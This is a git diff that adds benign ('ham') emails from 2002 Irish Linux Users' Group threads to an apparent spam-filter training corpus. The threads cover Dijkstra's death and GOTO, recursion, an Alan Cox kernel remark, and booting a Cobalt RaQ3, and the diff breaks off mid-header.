+Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CD9201542 for + ; Thu, 8 Aug 2002 13:13:09 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA29710 for ; + Thu, 8 Aug 2002 12:02:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA10865; Thu, 8 Aug 2002 12:00:23 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA10835 + for ; Thu, 8 Aug 2002 12:00:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g78B0Dn4074721; Thu, + 8 Aug 2002 12:00:14 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D524F34.1080608@corvil.com> +Date: Thu, 08 Aug 2002 12:00:04 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: kevin lyda +Cc: wintermute , ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +References: <200208081032.LAA09312@lugh.tuatha.org> + <20020808114227.B17967@ie.suberic.net> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +kevin lyda wrote: +> speaking of things considered harmful, line lengths of over 80 chars +> are considered harmful. cut it out. + +:-) In fairness he was using webmail + +> On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute wrote: +> +>>Interesting. I've always wondered about things 'considered' to be bad. +>>Example the GOTO, most languages support a goto of some sort, so are +>>gotos really bad? +> +> +> if used properly, they actually can make code more readable. but those +> proper occasions are quite rare really. it's a good idea to avoid them +> since over use of goto will create what niall calls "write-only code." + +Yes a clever term usually (and deservedly) attributed to perl. +Of course you can create write-only code in any language. +There's even a competition for obfuscated C code which is always +worth a look: http://www.es.ioccc.org/main.html + +Pádraig. + +p.s. what sort of processing do you do with: +kevin+dated+1029235349.f17378@ie.suberic.net + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00282.903d8e3bf60af84c49e02e02ad8ec0f2 b/bayes/spamham/easy_ham_2/00282.903d8e3bf60af84c49e02e02ad8ec0f2 new file mode 100644 index 0000000..9ed4665 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00282.903d8e3bf60af84c49e02e02ad8ec0f2 @@ -0,0 +1,99 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DA2C744130 + for ; Thu, 8 Aug 2002 08:32:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:26 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CDO201553 for + ; Thu, 8 Aug 2002 13:13:24 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29665 for ; + Thu, 8 Aug 2002 11:57:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA10514; Thu, 8 Aug 2002 11:55:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA10477 for ; + Thu, 8 Aug 2002 11:55:12 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17ckwg-0001Ax-00; Thu, 08 Aug 2002 11:55:10 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Thu, 8 Aug 2002 11:55:37 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8EBB@HASSLE> +From: "Hunt, Bryan" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] slashdot EW Dijkstra humor +Date: Thu, 8 Aug 2002 11:55:36 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +schemers are often slagged of for that sort of thing +they "know the Value of Everything, Cost of Nothing" +did i get that the right way arround ? + + +--B + +-----Original Message----- +From: John P. Looney [mailto:valen@tuatha.org] +Sent: 08 August 2002 11:38 +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor + + +On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute mentioned: +> Interesting. I've always wondered about things 'considered' to be bad. +> Example the GOTO, most languages support a goto of some sort, so are gotos +really bad? + + Yes. Especially in the languages he was talking about - C, Pascal and +Assembler. Goto's can be used well; there are a few used in the kernel +code to improve efficency. They are almost required in some languages +(like C) where 'break' or 'continue' can't be told how many loops/switches +to break out of. + + But, in general, goto's make a mess of code. + +> Is a loop or a recursive call actually any better than a goto +> or is the goto used as a kind of common enemy of +> programming syntax +> to make sure people use loops or recursion? +> <> + + Recursion is only truely useful if you have an infinite stack. People +that think they have an infinite stack shouldn't be let near a compiler. + +> Kind of makes you wonder about things considered to be 'good'. For +> example people bang on about polymorphism, but is there actually any +> advantage in using an overloaded function based on class inheritance? + + I don't care, to be honest. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00283.07a5378f3ecab4348dbd4c3a25ae3725 b/bayes/spamham/easy_ham_2/00283.07a5378f3ecab4348dbd4c3a25ae3725 new file mode 100644 index 0000000..ad82793 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00283.07a5378f3ecab4348dbd4c3a25ae3725 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E8BFA44131 + for ; Thu, 8 Aug 2002 08:32:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CEc201694 for + ; Thu, 8 Aug 2002 13:14:38 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA30138 for ; + Thu, 8 Aug 2002 13:11:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA14058; Thu, 8 Aug 2002 13:10:53 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA14030 + for ; Thu, 8 Aug 2002 13:10:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g78CAkn4027150 for + ; Thu, 8 Aug 2002 13:10:46 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D525FBD.2070401@corvil.com> +Date: Thu, 08 Aug 2002 13:10:37 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Alan Cox doesn't like 2.5 so far! +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Yikes, hope he's not serious! + +-------- Original Message -------- +Subject: Re: [bug, 2.5.29, IDE] partition table corruption? +Date: 08 Aug 2002 14:23:53 +0100 +From: Alan Cox +To: martin@dalecki.de + +[IDE specific argument snipped] + +Thank you for reminding me why I've given up on the 2.5 kernel ever +working. Fortunately free software is self correcting so the tree can be +forked into something workable + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00284.3a518630eb58eb7ac1f03e1d4d0a1ddf b/bayes/spamham/easy_ham_2/00284.3a518630eb58eb7ac1f03e1d4d0a1ddf new file mode 100644 index 0000000..e803c0e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00284.3a518630eb58eb7ac1f03e1d4d0a1ddf @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6215244132 + for ; Thu, 8 Aug 2002 08:32:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CFp201891 for + ; Thu, 8 Aug 2002 13:15:51 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA30028 for ; + Thu, 8 Aug 2002 12:57:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA13118; Thu, 8 Aug 2002 12:55:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA13086 for ; + Thu, 8 Aug 2002 12:55:07 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 6C83E2B3C9 for ; + Thu, 8 Aug 2002 12:54:37 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2009) id 49EECE9D1; + Thu, 8 Aug 2002 12:54:37 +0100 (IST) +Date: Thu, 8 Aug 2002 12:54:36 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020808115436.GB25561@skynet.ie> +Mail-Followup-To: ilug@linux.ie +References: <200208081032.LAA09312@lugh.tuatha.org> + <20020808103749.GB1853@jinny.ie> <011601c23ecc$b8787df0$3864a8c0@sabeo.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <011601c23ecc$b8787df0$3864a8c0@sabeo.ie> +User-Agent: Mutt/1.3.24i +From: caolan@csn.ul.ie (Caolan McNamara) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 08, 2002 at 12:14:09 +0100, Matthew French wrote: +> JPL suggested: +> > Recursion is only truely useful if you have an infinite stack. People +> > that think they have an infinite stack shouldn't be let near a compiler. +> +> Well, when studying engineering the rule of thumb was that infinity was 10 +> times bigger then the most you could expect to use. +> +> Therefore I believe in infinite stack. + +I worked on a testharness for (wait for it) petrol pumps some years ago, +little embeded controller spoke to its DOS (not exactly the easiest +environment to track crashing bugs under) master which logged its +piteous whinings. I inherited the dos part of it and worked mostly on +creating the other end of it. Near the end of the project we gave it +extensive long burnin tests, sadly overnight tests would always crash +out for some obscure reason. Tracking it down showed that my +predecessor's "add new entries to the end of its linked list" function +recursively called itself with each following link until the terminating +one showed up. Of course it died miserably when it ran out of stack. I'm +sure he felt he'd done a good days work when he planted that bomb for +me. + +C. +-- +Caolan McNamara | caolan@skynet.ie +http://www.skynet.ie/~caolan | +353 86 8161184 +So much insanity, so little time... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00285.49d8664ce245cb396687a3f303ad124c b/bayes/spamham/easy_ham_2/00285.49d8664ce245cb396687a3f303ad124c new file mode 100644 index 0000000..37f5c54 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00285.49d8664ce245cb396687a3f303ad124c @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59B6244133 + for ; Thu, 8 Aug 2002 08:32:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:31 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CFk201882 for + ; Thu, 8 Aug 2002 13:15:46 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29574 for ; + Thu, 8 Aug 2002 11:45:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA09962; Thu, 8 Aug 2002 11:42:42 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA09927 for ; + Thu, 8 Aug 2002 11:42:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g78AgTY18408 for ; + Thu, 8 Aug 2002 11:42:29 +0100 +Date: Thu, 8 Aug 2002 11:42:27 +0100 +To: wintermute +Cc: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020808114227.B17967@ie.suberic.net> +References: <200208081032.LAA09312@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208081032.LAA09312@lugh.tuatha.org>; from cout@eircom.net + on Thu, Aug 08, 2002 at 11:27:59AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029235349.f17378@ie.suberic.net, + cout@eircom.net, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +speaking of things considered harmful, line lengths of over 80 chars +are considered harmful. cut it out. + +On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute wrote: +> Interesting. I've always wondered about things 'considered' to be bad. +> Example the GOTO, most languages support a goto of some sort, so are +> gotos really bad? + +if used properly, they actually can make code more readable. but those +proper occasions are quite rare really. it's a good idea to avoid them +since over use of goto will create what niall calls "write-only code." +what a wonderful expression. my professors would spend entire lectures +explaining that concept, and yet three little words convey it so well. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00286.8cb982ac6ef73936ac83f89bf23fcd6b b/bayes/spamham/easy_ham_2/00286.8cb982ac6ef73936ac83f89bf23fcd6b new file mode 100644 index 0000000..3301a98 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00286.8cb982ac6ef73936ac83f89bf23fcd6b @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3A11944134 + for ; Thu, 8 Aug 2002 08:32:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:32 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CG7201919 for + ; Thu, 8 Aug 2002 13:16:07 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29352 for ; + Thu, 8 Aug 2002 11:14:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA08239; Thu, 8 Aug 2002 11:11:47 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA08201 + for ; Thu, 8 Aug 2002 11:11:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g78ABcn4072975 for + ; Thu, 8 Aug 2002 11:11:38 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D5243D1.30602@corvil.com> +Date: Thu, 08 Aug 2002 11:11:29 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: "'ilug@linux.ie'" +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 8bit +Subject: [ILUG] slashdot EW Dijkstra humor +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Thought this was funny. +In the slashdot thread about +EW Dijkstra passing away on +tuesday, there was: + +GOTO Heaven + Re:GOTO Heaven + I'll bet he gets there by the shortest path. + +Referring to his "Goto considered harmful" etc. + +Sad to see these people go. 3 others I've +noticed lately were: Richard Stevens, Jim Ellis +and Jon Postel. + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00287.03ca12d32dd67af82efbbafac79d4d5a b/bayes/spamham/easy_ham_2/00287.03ca12d32dd67af82efbbafac79d4d5a new file mode 100644 index 0000000..1677688 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00287.03ca12d32dd67af82efbbafac79d4d5a @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Thu Aug 8 14:11:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0617A44135 + for ; Thu, 8 Aug 2002 08:32:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:33 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CGD201928 for + ; Thu, 8 Aug 2002 13:16:13 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29489 for ; + Thu, 8 Aug 2002 11:32:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA09223; Thu, 8 Aug 2002 11:31:21 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA09179 for ; Thu, + 8 Aug 2002 11:31:07 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id LAA19989 for ; Thu, + 8 Aug 2002 11:30:36 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g78AV2K02355 for ilug@linux.ie; Thu, 8 Aug 2002 11:31:02 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 8 Aug 2002 11:31:01 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Message-Id: <20020808103101.GA1853@jinny.ie> +Reply-To: valen@tuatha.org +Mail-Followup-To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Url: http://www.redbrick.dcu.ie/~valen +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] Cobalt question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + Try this little problem on for size: + + I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the +kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the +kernel from ... somewhere else. The old cobalt kernel. + + I've booted the disk with a redhat rescue CD, and installed grub on the +MBR and hda1 & hda2 (just in case). No luck. The cobalt BIOS says "Booting +default method - From disk". + + Any ideas how I can get this thing to boot *my* kernel ? Anyone care to +guess how the cobalt boot process ? Google seems very quiet on the +subject of the cobalt boot process, and what is there doesn't seem to +work. Simple stuff like: + + (how to boot a different kernel) + http://list.cobalt.com/pipermail/cobalt-developers/1999-December/022014.html + + And, on boot: + +Cobalt:Main Menu> bfd /boot/vmlinuz-2.4.18-3 +First stage kernel: Decompressing - done +Second stage kernel: Decompressing - done +Linux version 2.2.16C28 (konkers@unicron.cobalt.com) + + Note the descrepancy between what I want to boot, and actually booted. + +Kate + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00288.9388b51e29a2d52191fcb2b053ace210 b/bayes/spamham/easy_ham_2/00288.9388b51e29a2d52191fcb2b053ace210 new file mode 100644 index 0000000..30b37a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00288.9388b51e29a2d52191fcb2b053ace210 @@ -0,0 +1,91 @@ +From ilug-admin@linux.ie Thu Aug 8 14:12:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9A59F44136 + for ; Thu, 8 Aug 2002 08:32:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:34 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CGI201934 for + ; Thu, 8 Aug 2002 13:16:18 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29504 for ; + Thu, 8 Aug 2002 11:34:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA09362; Thu, 8 Aug 2002 11:33:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id LAA09312 for ; Thu, + 8 Aug 2002 11:32:55 +0100 +Message-Id: <200208081032.LAA09312@lugh.tuatha.org> +Received: (qmail 76245 messnum 353213 invoked from + network[159.134.237.77/kearney.eircom.net]); 8 Aug 2002 10:32:24 -0000 +Received: from kearney.eircom.net (HELO webmail.eircom.net) + (159.134.237.77) by mail05.svc.cra.dublin.eircom.net (qp 76245) with SMTP; + 8 Aug 2002 10:32:24 -0000 +From: "wintermute" +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Date: Thu, 8 Aug 2002 11:27:59 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 213.190.156.48 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> +> Thought this was funny. +> In the slashdot thread about +> EW Dijkstra passing away on +> tuesday, there was: +> +> GOTO Heaven +> Re:GOTO Heaven +> I'll bet he gets there by the shortest path. +> +> Referring to his "Goto considered harmful" etc. +> +> Sad to see these people go. 3 others I've +> noticed lately were: Richard Stevens, Jim Ellis +> and Jon Postel. +> +> Pádraig. + +Interesting. I've always wondered about things 'considered' to be bad. +Example the GOTO, most languages support a goto of some sort, so are gotos really bad? + +Is a loop or a recursive call actually any better than a goto +or is the goto used as a kind of common enemy of +programming syntax +to make sure people use loops or recursion? +<> + +Kind of makes you wonder about things considered to be 'good'. +For example people bang on about polymorphism, but is there actually any advantage in using an overloaded function based on class inheritance? + +Hmm. + +I'm only laughing on the outside +My smile is just skin deep +If you could see inside I'm really crying +You might join me for a weep. +<> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00289.6ab47bc2667e9a623ef3ae13a8ad231e b/bayes/spamham/easy_ham_2/00289.6ab47bc2667e9a623ef3ae13a8ad231e new file mode 100644 index 0000000..09be0b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00289.6ab47bc2667e9a623ef3ae13a8ad231e @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Thu Aug 8 14:12:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C28E244137 + for ; Thu, 8 Aug 2002 08:32:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:38 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CGI201936 for + ; Thu, 8 Aug 2002 13:16:18 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA29537 for ; + Thu, 8 Aug 2002 11:38:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + 